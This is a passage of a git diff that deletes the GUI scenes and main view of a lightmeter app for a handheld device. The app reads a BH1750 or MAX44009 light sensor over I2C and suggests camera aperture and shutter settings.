b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.h deleted file mode 100644 index 9d5931384..000000000 --- a/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) LightMeterAppScene##id, -typedef enum { -#include "lightmeter_scene_config.h" - LightMeterAppSceneNum, -} LightMeterAppScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers lightmeter_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "lightmeter_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "lightmeter_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "lightmeter_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/lightmeter/gui/scenes/config/lightmeter_scene_config.h b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene_config.h deleted file mode 100644 index c72a7713e..000000000 --- a/applications/external/lightmeter/gui/scenes/config/lightmeter_scene_config.h +++ /dev/null @@ -1,4 +0,0 @@ -ADD_SCENE(lightmeter, main, Main) -ADD_SCENE(lightmeter, config, Config) -ADD_SCENE(lightmeter, help, Help) -ADD_SCENE(lightmeter, about, About) diff --git a/applications/external/lightmeter/gui/scenes/lightmeter_scene_about.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_about.c deleted file mode 100644 index 1508b4c00..000000000 --- a/applications/external/lightmeter/gui/scenes/lightmeter_scene_about.c +++ /dev/null @@ -1,71 +0,0 @@ -#include "../../lightmeter.h" - -void lightmeter_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) { - LightMeterApp* app = context; - - UNUSED(app); - UNUSED(result); - UNUSED(type); - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void lightmeter_scene_about_on_enter(void* context) { - LightMeterApp* app = context; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", LM_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by: %s\n", LM_DEVELOPED); - furi_string_cat_printf(temp_str, "Github: %s\n\n", LM_GITHUB); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf( - temp_str, - "Showing suggested camera\nsettings based on ambient\nlight or flash.\n\nInspired by a lightmeter\nproject by vpominchuk\n"); - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! Lightmeter \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, LightMeterAppViewAbout); -} - -bool lightmeter_scene_about_on_event(void* context, SceneManagerEvent event) { - LightMeterApp* app = context; - - bool consumed = false; - UNUSED(app); - UNUSED(event); - - return consumed; -} - -void lightmeter_scene_about_on_exit(void* context) { - LightMeterApp* app = context; - - // Clear views - widget_reset(app->widget); -} diff --git a/applications/external/lightmeter/gui/scenes/lightmeter_scene_config.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_config.c deleted file mode 100644 index c6f23818e..000000000 --- a/applications/external/lightmeter/gui/scenes/lightmeter_scene_config.c +++ /dev/null @@ -1,344 +0,0 @@ -#include "../../lightmeter.h" - -#define TAG "Scene Config" - -static const char* iso_numbers[] = { - [ISO_6] = "6", - [ISO_12] = "12", - [ISO_25] = "25", - [ISO_50] = "50", - [ISO_100] = "100", - [ISO_200] = "200", - [ISO_400] = "400", - [ISO_800] = "800", - [ISO_1600] = "1600", - [ISO_3200] = "3200", - [ISO_6400] = "6400", - [ISO_12800] = "12800", - [ISO_25600] = "25600", - [ISO_51200] = "51200", - [ISO_102400] = "102400", -}; - -static const char* nd_numbers[] = { - [ND_0] = "0", - [ND_2] = "2", - [ND_4] = "4", - [ND_8] = "8", - [ND_16] = "16", - [ND_32] = "32", - [ND_64] = "64", - [ND_128] = "128", - [ND_256] = "256", - [ND_512] = "512", - [ND_1024] = "1024", - [ND_2048] = "2048", - [ND_4096] = "4096", -}; - -static const char* diffusion_dome[] = { - [WITHOUT_DOME] = "No", - [WITH_DOME] = "Yes", -}; - -static const char* backlight[] = { - [BACKLIGHT_AUTO] = "Auto", - [BACKLIGHT_ON] = "On", -}; - -static const char* lux_only[] = { - [LUX_ONLY_OFF] = "Off", - [LUX_ONLY_ON] = "On", -}; - -static const char* sensor_type[] = { - [SENSOR_BH1750] = "BH1750", - [SENSOR_MAX44009] = "MAX44009", -}; - -static const char* measurement_resolution[] = { - [LOW_RES] = "Low", - [HIGH_RES] = "High", - [HIGH_RES2] = "High2", -}; - -static const char* device_addr_bh1750[] = { - [ADDR_LOW] = "0x23", - [ADDR_HIGH] = "0x5C", -}; - -static const char* device_addr_max44009[] = { - [ADDR_LOW] = "0x4A", - [ADDR_HIGH] = "0x4B", -}; - -enum LightMeterSubmenuIndex { - LightMeterSubmenuIndexISO, - LightMeterSubmenuIndexND, - LightMeterSubmenuIndexDome, - LightMeterSubmenuIndexBacklight, - LightMeterSubmenuIndexLuxMeter, - LightMeterSubmenuIndexSensorType, - LightMeterSubmenuIndexMeasurementResolution, - LightMeterSubmenuIndexI2CAddress, - LightMeterSubmenuIndexHelp, - LightMeterSubmenuIndexAbout, -}; - -static void iso_numbers_cb(VariableItem* item) { - LightMeterApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, iso_numbers[index]); - - LightMeterConfig* config = app->config; - config->iso = index; - lightmeter_app_set_config(app, config); -} - -static void nd_numbers_cb(VariableItem* item) { - LightMeterApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, nd_numbers[index]); - - LightMeterConfig* config = app->config; - config->nd = index; - lightmeter_app_set_config(app, config); -} - -static void dome_presence_cb(VariableItem* item) { - LightMeterApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, diffusion_dome[index]); - - LightMeterConfig* config = app->config; - config->dome = index; - lightmeter_app_set_config(app, config); -} - -static void backlight_cb(VariableItem* item) { - LightMeterApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, backlight[index]); - - LightMeterConfig* config = app->config; - if(index != config->backlight) { - if(index == BACKLIGHT_ON) { - notification_message( - app->notifications, - &sequence_display_backlight_enforce_on); // force on backlight - } else { - notification_message( - app->notifications, - &sequence_display_backlight_enforce_auto); // force auto backlight - } - } - config->backlight = index; - lightmeter_app_set_config(app, config); -} - -static void lux_only_cb(VariableItem* item) { - LightMeterApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, lux_only[index]); - - LightMeterConfig* config = app->config; - config->lux_only = index; - lightmeter_app_set_config(app, config); -} - -static void measurement_resolution_cb(VariableItem* item) { - LightMeterApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, measurement_resolution[index]); - - LightMeterConfig* config = app->config; - config->measurement_resolution = index; - lightmeter_app_set_config(app, config); - - lightmeter_app_i2c_init_sensor(app); -} - -static void update_item_addr(LightMeterApp* app) { - VariableItem* item = app->var_item_addr; - switch(app->config->sensor_type) { - case SENSOR_BH1750: - variable_item_set_current_value_index(item, app->config->device_addr); - variable_item_set_current_value_text(item, device_addr_bh1750[app->config->device_addr]); - break; - case SENSOR_MAX44009: - variable_item_set_current_value_index(item, app->config->device_addr); - variable_item_set_current_value_text(item, device_addr_max44009[app->config->device_addr]); - break; - default: - FURI_LOG_E(TAG, "Invalid sensor type %ld", app->config->sensor_type); - return; - } -} - -static void device_addr_cb(VariableItem* item) { - LightMeterApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - switch(app->config->sensor_type) { - case SENSOR_BH1750: - variable_item_set_current_value_text(item, device_addr_bh1750[index]); - break; - case SENSOR_MAX44009: - variable_item_set_current_value_text(item, device_addr_max44009[index]); - break; - default: - FURI_LOG_E(TAG, "Invalid sensor type %ld", app->config->sensor_type); - return; - } - // variable_item_set_current_value_text(item, device_addr[index]); - - LightMeterConfig* config = app->config; - config->device_addr = index; - lightmeter_app_set_config(app, config); - - lightmeter_app_i2c_init_sensor(app); -} - -static void sensor_type_cb(VariableItem* item) { - LightMeterApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, sensor_type[index]); - - LightMeterConfig* config = app->config; - config->sensor_type = index; - - update_item_addr(app); - - lightmeter_app_set_config(app, config); -} - -static void ok_cb(void* context, uint32_t index) { - LightMeterApp* app = context; - UNUSED(app); - switch(index) { - case LightMeterSubmenuIndexHelp: - view_dispatcher_send_custom_event(app->view_dispatcher, LightMeterAppCustomEventHelp); - break; - case LightMeterSubmenuIndexAbout: - view_dispatcher_send_custom_event(app->view_dispatcher, LightMeterAppCustomEventAbout); - break; - default: - break; - } -} - -void lightmeter_scene_config_on_enter(void* context) { - LightMeterApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - VariableItem* item; - LightMeterConfig* config = app->config; - - item = - variable_item_list_add(var_item_list, "ISO", COUNT_OF(iso_numbers), iso_numbers_cb, app); - variable_item_set_current_value_index(item, config->iso); - variable_item_set_current_value_text(item, iso_numbers[config->iso]); - - item = variable_item_list_add( - var_item_list, "ND factor", COUNT_OF(nd_numbers), nd_numbers_cb, app); - variable_item_set_current_value_index(item, config->nd); - variable_item_set_current_value_text(item, nd_numbers[config->nd]); - - item = variable_item_list_add( - var_item_list, "Diffusion dome", COUNT_OF(diffusion_dome), dome_presence_cb, app); - variable_item_set_current_value_index(item, config->dome); - variable_item_set_current_value_text(item, diffusion_dome[config->dome]); - - item = - variable_item_list_add(var_item_list, "Backlight", COUNT_OF(backlight), backlight_cb, app); - variable_item_set_current_value_index(item, config->backlight); - variable_item_set_current_value_text(item, backlight[config->backlight]); - - item = variable_item_list_add( - var_item_list, "Lux meter only", COUNT_OF(lux_only), lux_only_cb, app); - variable_item_set_current_value_index(item, config->lux_only); - variable_item_set_current_value_text(item, lux_only[config->lux_only]); - - item = variable_item_list_add( - var_item_list, "Sensor", COUNT_OF(sensor_type), sensor_type_cb, app); - variable_item_set_current_value_index(item, config->sensor_type); - variable_item_set_current_value_text(item, sensor_type[config->sensor_type]); - - item = variable_item_list_add( - var_item_list, - "Resolution", - COUNT_OF(measurement_resolution), - measurement_resolution_cb, - app); - variable_item_set_current_value_index(item, config->measurement_resolution); - variable_item_set_current_value_text( - item, measurement_resolution[config->measurement_resolution]); - - switch(config->sensor_type) { - case SENSOR_BH1750: - item = variable_item_list_add( - var_item_list, "I2C address", COUNT_OF(device_addr_bh1750), device_addr_cb, app); - variable_item_set_current_value_index(item, config->device_addr); - variable_item_set_current_value_text(item, device_addr_bh1750[config->device_addr]); - break; - case SENSOR_MAX44009: - item = variable_item_list_add( - var_item_list, "I2C address", COUNT_OF(device_addr_max44009), device_addr_cb, app); - variable_item_set_current_value_index(item, config->device_addr); - variable_item_set_current_value_text(item, device_addr_max44009[config->device_addr]); - break; - default: - FURI_LOG_E(TAG, "Invalid sensor type %ld", config->sensor_type); - return; - } - app->var_item_addr = item; - update_item_addr(app); - - item = variable_item_list_add(var_item_list, "Help and Pinout", 0, NULL, NULL); - item = variable_item_list_add(var_item_list, "About", 0, NULL, NULL); - - variable_item_list_set_selected_item( - var_item_list, - scene_manager_get_scene_state(app->scene_manager, LightMeterAppSceneConfig)); - - variable_item_list_set_enter_callback(var_item_list, ok_cb, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, LightMeterAppViewVarItemList); -} - -bool lightmeter_scene_config_on_event(void* context, SceneManagerEvent event) { - LightMeterApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeTick) { - consumed = true; - } else if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case LightMeterAppCustomEventHelp: - scene_manager_next_scene(app->scene_manager, LightMeterAppSceneHelp); - consumed = true; - break; - case LightMeterAppCustomEventAbout: - scene_manager_next_scene(app->scene_manager, LightMeterAppSceneAbout); - consumed = true; - break; - } - } - return consumed; -} - -void lightmeter_scene_config_on_exit(void* context) { - LightMeterApp* app = context; - variable_item_list_reset(app->var_item_list); - main_view_set_iso(app->main_view, app->config->iso); - main_view_set_nd(app->main_view, app->config->nd); - main_view_set_dome(app->main_view, app->config->dome); - main_view_set_lux_only(app->main_view, app->config->lux_only); - main_view_set_measurement_resolution(app->main_view, app->config->measurement_resolution); -} diff --git a/applications/external/lightmeter/gui/scenes/lightmeter_scene_help.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_help.c deleted file mode 100644 index 8a40b6d3d..000000000 --- a/applications/external/lightmeter/gui/scenes/lightmeter_scene_help.c +++ /dev/null @@ -1,41 +0,0 @@ -#include "../../lightmeter.h" - -void lightmeter_scene_help_on_enter(void* context) { - LightMeterApp* app = context; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_printf( - temp_str, - "App works with BH1750/MAX44009\nambient light sensor\nconnected via I2C interface\n\n"); - furi_string_cat(temp_str, "\e#Pinout:\r\n"); - furi_string_cat( - temp_str, - " VCC: 3.3V\r\n" - " GND: GND\r\n" - " SDA: 15 [C1]\r\n" - " SCL: 16 [C0]\r\n"); - furi_string_cat(temp_str, "\r\n\e#Resolutions:\r\n"); - furi_string_cat( - temp_str, - "Low: 4.0lx (16ms, 0-54k)\r\n" - "High: 1.0lx (120ms, 0-54k)\r\n" - "High2: 0.5lx (120ms, 0-27k)\r\n"); - - widget_add_text_scroll_element(app->widget, 0, 0, 128, 64, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, LightMeterAppViewHelp); -} - -bool lightmeter_scene_help_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void lightmeter_scene_help_on_exit(void* context) { - LightMeterApp* app = context; - - widget_reset(app->widget); -} diff --git a/applications/external/lightmeter/gui/scenes/lightmeter_scene_main.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_main.c deleted file mode 100644 index 94e26b420..000000000 --- a/applications/external/lightmeter/gui/scenes/lightmeter_scene_main.c +++ /dev/null @@ -1,60 +0,0 @@ -#include "../../lightmeter.h" - -static void lightmeter_scene_main_on_left(void* context) { - LightMeterApp* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, LightMeterAppCustomEventConfig); -} - -static void lightmeter_scene_main_on_right(void* context) { - LightMeterApp* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, LightMeterAppCustomEventReset); -} - -void lightmeter_scene_main_on_enter(void* context) { - LightMeterApp* app = context; - - variable_item_list_reset(app->var_item_list); - main_view_set_iso(app->main_view, app->config->iso); - main_view_set_nd(app->main_view, app->config->nd); - main_view_set_dome(app->main_view, app->config->dome); - main_view_set_lux_only(app->main_view, app->config->lux_only); - main_view_set_measurement_resolution(app->main_view, app->config->measurement_resolution); - - lightmeter_main_view_set_left_callback(app->main_view, lightmeter_scene_main_on_left, app); - lightmeter_main_view_set_right_callback(app->main_view, lightmeter_scene_main_on_right, app); - view_dispatcher_switch_to_view(app->view_dispatcher, LightMeterAppViewMainView); -} - -bool lightmeter_scene_main_on_event(void* context, SceneManagerEvent event) { - LightMeterApp* app = context; - - bool response = false; - - switch(event.type) { - case SceneManagerEventTypeCustom: - if(event.event == LightMeterAppCustomEventConfig) { - scene_manager_next_scene(app->scene_manager, LightMeterAppSceneConfig); - response = true; - } else if(event.event == LightMeterAppCustomEventReset) { - lightmeter_app_reset_callback(app); - response = true; - } - break; - - case SceneManagerEventTypeTick: - lightmeter_app_i2c_callback(app); - response = true; - break; - - default: - break; - } - - return response; -} - -void lightmeter_scene_main_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/lightmeter/gui/views/main_view.c b/applications/external/lightmeter/gui/views/main_view.c deleted file mode 100644 index 3ae431cda..000000000 --- a/applications/external/lightmeter/gui/views/main_view.c +++ /dev/null @@ -1,548 +0,0 @@ -#include "main_view.h" -#include -#include -#include -#include -#include "../../lightmeter.h" -#include "../../lightmeter_helper.h" - -#define WORKER_TAG "Main View" - -static const int iso_numbers[] = { - [ISO_6] = 6, - [ISO_12] = 12, - [ISO_25] = 25, - [ISO_50] = 50, - [ISO_100] = 100, - [ISO_200] = 200, - [ISO_400] = 400, - [ISO_800] = 800, - [ISO_1600] = 1600, - [ISO_3200] = 3200, - [ISO_6400] = 6400, - [ISO_12800] = 12800, - [ISO_25600] = 25600, - [ISO_51200] = 51200, - [ISO_102400] = 102400, -}; - -static const int nd_numbers[] = { - [ND_0] = 0, - [ND_2] = 2, - [ND_4] = 4, - [ND_8] = 8, - [ND_16] = 16, - [ND_32] = 32, - [ND_64] = 64, - [ND_128] = 128, - [ND_256] = 256, - [ND_512] = 512, - [ND_1024] = 1024, - [ND_2048] = 2048, - [ND_4096] = 4096, -}; - -const float aperture_numbers[] = { - [AP_1] = 1.0, - [AP_1_4] = 1.4, - [AP_2] = 2.0, - [AP_2_8] = 2.8, - [AP_4] = 4.0, - [AP_5_6] = 5.6, - [AP_8] = 8, - [AP_11] = 11, - [AP_16] = 16, - [AP_22] = 22, - [AP_32] = 32, - [AP_45] = 45, - [AP_64] = 64, - [AP_90] = 90, - [AP_128] = 128, -}; - -const float speed_numbers[] = { - [SPEED_8000] = 1.0 / 8000, [SPEED_4000] = 1.0 / 4000, [SPEED_2000] = 1.0 / 2000, - [SPEED_1000] = 1.0 / 1000, [SPEED_500] = 1.0 / 500, [SPEED_250] = 1.0 / 250, - [SPEED_125] = 1.0 / 125, [SPEED_60] = 1.0 / 60, [SPEED_48] = 1.0 / 48, - [SPEED_30] = 1.0 / 30, [SPEED_15] = 1.0 / 15, [SPEED_8] = 1.0 / 8, - [SPEED_4] = 1.0 / 4, [SPEED_2] = 1.0 / 2, [SPEED_1S] = 1.0, - [SPEED_2S] = 2.0, [SPEED_4S] = 4.0, [SPEED_8S] = 8.0, - [SPEED_15S] = 15.0, [SPEED_30S] = 30.0, -}; - -struct MainView { - View* view; - LightMeterMainViewButtonCallback cb_left; - LightMeterMainViewButtonCallback cb_right; - void* cb_context; -}; - -void lightmeter_main_view_set_left_callback( - MainView* lightmeter_main_view, - LightMeterMainViewButtonCallback callback, - void* context) { - with_view_model( - lightmeter_main_view->view, - MainViewModel * model, - { - UNUSED(model); - lightmeter_main_view->cb_left = callback; - lightmeter_main_view->cb_context = context; - }, - true); -} - -void lightmeter_main_view_set_right_callback( - MainView* lightmeter_main_view, - LightMeterMainViewButtonCallback callback, - void* context) { - with_view_model( - lightmeter_main_view->view, - MainViewModel * model, - { - UNUSED(model); - lightmeter_main_view->cb_right = callback; - lightmeter_main_view->cb_context = context; - }, - true); -} - -static void main_view_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - MainViewModel* model = context; - - canvas_clear(canvas); - - // draw button - canvas_set_font(canvas, FontSecondary); - elements_button_left(canvas, "Config"); - - if(!model->lux_only) { - // top row - draw_top_row(canvas, model); - - // add f, T values - canvas_set_font(canvas, FontBigNumbers); - - // draw f icon and number - canvas_draw_icon(canvas, 15, 17, &I_f_10x14); - draw_aperture(canvas, model); - - // draw T icon and number - canvas_draw_icon(canvas, 15, 34, &I_T_10x14); - draw_speed(canvas, model); - - // draw ND number - draw_nd_number(canvas, model); - - // draw EV number - canvas_set_font(canvas, FontSecondary); - draw_EV_number(canvas, model); - - // draw mode indicator - draw_mode_indicator(canvas, model); - } else { - elements_button_right(canvas, "Reset"); - draw_lux_only_mode(canvas, model); - } -} - -static void main_view_process(MainView* main_view, InputEvent* event) { - with_view_model( - main_view->view, - MainViewModel * model, - { - if(event->type == InputTypePress) { - if(event->key == InputKeyUp) { - switch(model->current_mode) { - case FIXED_APERTURE: - if(model->aperture < AP_NUM - 1) model->aperture++; - break; - - case FIXED_SPEED: - if(model->speed < SPEED_NUM - 1) model->speed++; - break; - - default: - break; - } - } else if(event->key == InputKeyDown) { - switch(model->current_mode) { - case FIXED_APERTURE: - if(model->aperture > 0) model->aperture--; - break; - - case FIXED_SPEED: - if(model->speed > 0) model->speed--; - break; - - default: - break; - } - } else if(event->key == InputKeyOk) { - switch(model->current_mode) { - case FIXED_SPEED: - model->current_mode = FIXED_APERTURE; - break; - - case FIXED_APERTURE: - model->current_mode = FIXED_SPEED; - break; - - default: - break; - } - } - } - }, - true); -} - -static bool main_view_input_callback(InputEvent* event, void* context) { - furi_assert(context); - MainView* main_view = context; - bool consumed = false; - - if(event->type == InputTypeShort && event->key == InputKeyLeft) { - if(main_view->cb_left) { - main_view->cb_left(main_view->cb_context); - } - consumed = true; - } else if(event->type == InputTypeShort && event->key == InputKeyRight) { - if(main_view->cb_right) { - main_view->cb_right(main_view->cb_context); - } - consumed = true; - } else if(event->type == InputTypeShort && event->key == InputKeyBack) { - } else { - main_view_process(main_view, event); - consumed = true; - } - - return consumed; -} - -MainView* main_view_alloc() { - MainView* main_view = malloc(sizeof(MainView)); - main_view->view = view_alloc(); - view_set_context(main_view->view, main_view); - view_allocate_model(main_view->view, ViewModelTypeLocking, sizeof(MainViewModel)); - view_set_draw_callback(main_view->view, main_view_draw_callback); - view_set_input_callback(main_view->view, main_view_input_callback); - - return main_view; -} - -void main_view_free(MainView* main_view) { - furi_assert(main_view); - view_free(main_view->view); - free(main_view); -} - -View* main_view_get_view(MainView* main_view) { - furi_assert(main_view); - return main_view->view; -} - -void main_view_set_lux(MainView* main_view, float val) { - furi_assert(main_view); - with_view_model( - main_view->view, - MainViewModel * model, - { - model->lux = val; - model->peakLux = fmax(model->peakLux, val); - - model->luxHistogram[model->luxHistogramIndex++] = val; - model->luxHistogramIndex %= LUX_HISTORGRAM_LENGTH; - }, - true); -} - -void main_view_reset_lux(MainView* main_view) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->peakLux = 0; }, true); -} - -void main_view_set_EV(MainView* main_view, float val) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->EV = val; }, true); -} - -void main_view_set_response(MainView* main_view, bool val) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->response = val; }, true); -} - -void main_view_set_iso(MainView* main_view, int iso) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->iso = iso; }, true); -} - -void main_view_set_nd(MainView* main_view, int nd) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->nd = nd; }, true); -} - -void main_view_set_aperture(MainView* main_view, int aperture) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->aperture = aperture; }, true); -} - -void main_view_set_speed(MainView* main_view, int speed) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->speed = speed; }, true); -} - -void main_view_set_dome(MainView* main_view, bool dome) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->dome = dome; }, true); -} - -void main_view_set_lux_only(MainView* main_view, bool lux_only) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->lux_only = lux_only; }, true); -} - -void main_view_set_measurement_resolution(MainView* main_view, int measurement_resolution) { - furi_assert(main_view); - with_view_model( - main_view->view, - MainViewModel * model, - { model->measurement_resolution = measurement_resolution; }, - true); -} - -void main_view_set_device_addr(MainView* main_view, int device_addr) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->device_addr = device_addr; }, true); -} - -void main_view_set_sensor_type(MainView* main_view, int sensor_type) { - furi_assert(main_view); - with_view_model( - main_view->view, MainViewModel * model, { model->sensor_type = sensor_type; }, true); -} - -bool main_view_get_dome(MainView* main_view) { - furi_assert(main_view); - bool val = false; - with_view_model( - main_view->view, MainViewModel * model, { val = model->dome; }, true); - return val; -} - -void draw_top_row(Canvas* canvas, MainViewModel* context) { - MainViewModel* model = context; - - char str[12]; - - if(!model->response) { - canvas_draw_box(canvas, 0, 0, 128, 12); - canvas_set_color(canvas, ColorWhite); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 24, 10, "No sensor found"); - canvas_set_color(canvas, ColorBlack); - } else { - model->iso_val = iso_numbers[model->iso]; - if(model->nd > 0) model->iso_val /= nd_numbers[model->nd]; - - if(model->lux > 0) { - if(model->current_mode == FIXED_APERTURE) { - model->speed_val = 100 * pow(aperture_numbers[model->aperture], 2) / - (double)model->iso_val / pow(2, model->EV); - } else { - model->aperture_val = sqrt( - pow(2, model->EV) * (double)model->iso_val * - (double)speed_numbers[model->speed] / 100); - } - } - - // TODO when T:30, f/0 instead of f/128 - - canvas_draw_line(canvas, 0, 10, 128, 10); - - canvas_set_font(canvas, FontPrimary); - // metering mode A – ambient, F – flash - // canvas_draw_str_aligned(canvas, 1, 1, AlignLeft, AlignTop, "A"); - - snprintf(str, sizeof(str), "ISO: %d", iso_numbers[model->iso]); - canvas_draw_str_aligned(canvas, 19, 1, AlignLeft, AlignTop, str); - - canvas_set_font(canvas, FontSecondary); - snprintf(str, sizeof(str), "lx: %.0f", (double)model->lux); - canvas_draw_str_aligned(canvas, 87, 2, AlignLeft, AlignTop, str); - } -} - -void draw_aperture(Canvas* canvas, MainViewModel* context) { - MainViewModel* model = context; - - char str[12]; - - switch(model->current_mode) { - case FIXED_APERTURE: - if(model->response) { - if(model->aperture < AP_8) { - snprintf(str, sizeof(str), "/%.1f", (double)aperture_numbers[model->aperture]); - } else { - snprintf(str, sizeof(str), "/%.0f", (double)aperture_numbers[model->aperture]); - } - } else { - snprintf(str, sizeof(str), " ---"); - } - canvas_draw_str_aligned(canvas, 27, 15, AlignLeft, AlignTop, str); - break; - case FIXED_SPEED: - if(model->aperture_val < aperture_numbers[0] || !model->response) { - snprintf(str, sizeof(str), " ---"); - } else if(model->aperture_val < aperture_numbers[AP_8]) { - snprintf(str, sizeof(str), "/%.1f", (double)normalizeAperture(model->aperture_val)); - } else { - snprintf(str, sizeof(str), "/%.0f", (double)normalizeAperture(model->aperture_val)); - } - canvas_draw_str_aligned(canvas, 27, 15, AlignLeft, AlignTop, str); - break; - default: - break; - } -} - -void draw_speed(Canvas* canvas, MainViewModel* context) { - MainViewModel* model = context; - - char str[12]; - - switch(model->current_mode) { - case FIXED_APERTURE: - if(model->lux > 0 && model->response) { - if(model->speed_val < 1 && model->speed_val > 0) { - snprintf(str, sizeof(str), ":1/%.0f", 1 / (double)normalizeTime(model->speed_val)); - } else { - snprintf(str, sizeof(str), ":%.0f", (double)normalizeTime(model->speed_val)); - } - } else { - snprintf(str, sizeof(str), " ---"); - } - canvas_draw_str_aligned(canvas, 27, 34, AlignLeft, AlignTop, str); - break; - - case FIXED_SPEED: - if(model->response) { - if(model->speed < SPEED_1S) { - snprintf(str, sizeof(str), ":1/%.0f", 1 / (double)speed_numbers[model->speed]); - } else { - snprintf(str, sizeof(str), ":%.0f", (double)speed_numbers[model->speed]); - } - } else { - snprintf(str, sizeof(str), " ---"); - } - canvas_draw_str_aligned(canvas, 27, 34, AlignLeft, AlignTop, str); - break; - - default: - break; - } -} - -void draw_mode_indicator(Canvas* canvas, MainViewModel* context) { - MainViewModel* model = context; - - switch(model->current_mode) { - case FIXED_SPEED: - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 3, 36, AlignLeft, AlignTop, "*"); - break; - - case FIXED_APERTURE: - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 3, 17, AlignLeft, AlignTop, "*"); - break; - - default: - break; - } -} - -void draw_nd_number(Canvas* canvas, MainViewModel* context) { - MainViewModel* model = context; - - char str[9]; - - canvas_set_font(canvas, FontSecondary); - - if(model->response) { - snprintf(str, sizeof(str), "ND: %d", nd_numbers[model->nd]); - } else { - snprintf(str, sizeof(str), "ND: ---"); - } - canvas_draw_str_aligned(canvas, 87, 20, AlignLeft, AlignBottom, str); -} - -void draw_EV_number(Canvas* canvas, MainViewModel* context) { - MainViewModel* model = context; - - char str[7]; - - if(model->lux > 0 && model->response) { - snprintf(str, sizeof(str), "EV: %1.0f", (double)model->EV); - canvas_draw_str_aligned(canvas, 87, 29, AlignLeft, AlignBottom, str); - } else { - canvas_draw_str_aligned(canvas, 87, 29, AlignLeft, AlignBottom, "EV: --"); - } -} - -void draw_lux_only_mode(Canvas* canvas, MainViewModel* context) { - MainViewModel* model = context; - - if(!model->response) { - canvas_draw_box(canvas, 0, 0, 128, 12); - canvas_set_color(canvas, ColorWhite); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 24, 10, "No sensor found"); - canvas_set_color(canvas, ColorBlack); - } else { - char str[12]; - - canvas_set_font(canvas, FontPrimary); - - canvas_draw_line(canvas, 0, 10, 128, 10); - canvas_draw_str_aligned(canvas, 64, 1, AlignCenter, AlignTop, "Lux meter mode"); - - canvas_set_font(canvas, FontBigNumbers); - snprintf(str, sizeof(str), "%.0f", (double)model->lux); - canvas_draw_str_aligned(canvas, 80, 22, AlignRight, AlignCenter, str); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 85, 29, AlignLeft, AlignBottom, "Lux now"); - - 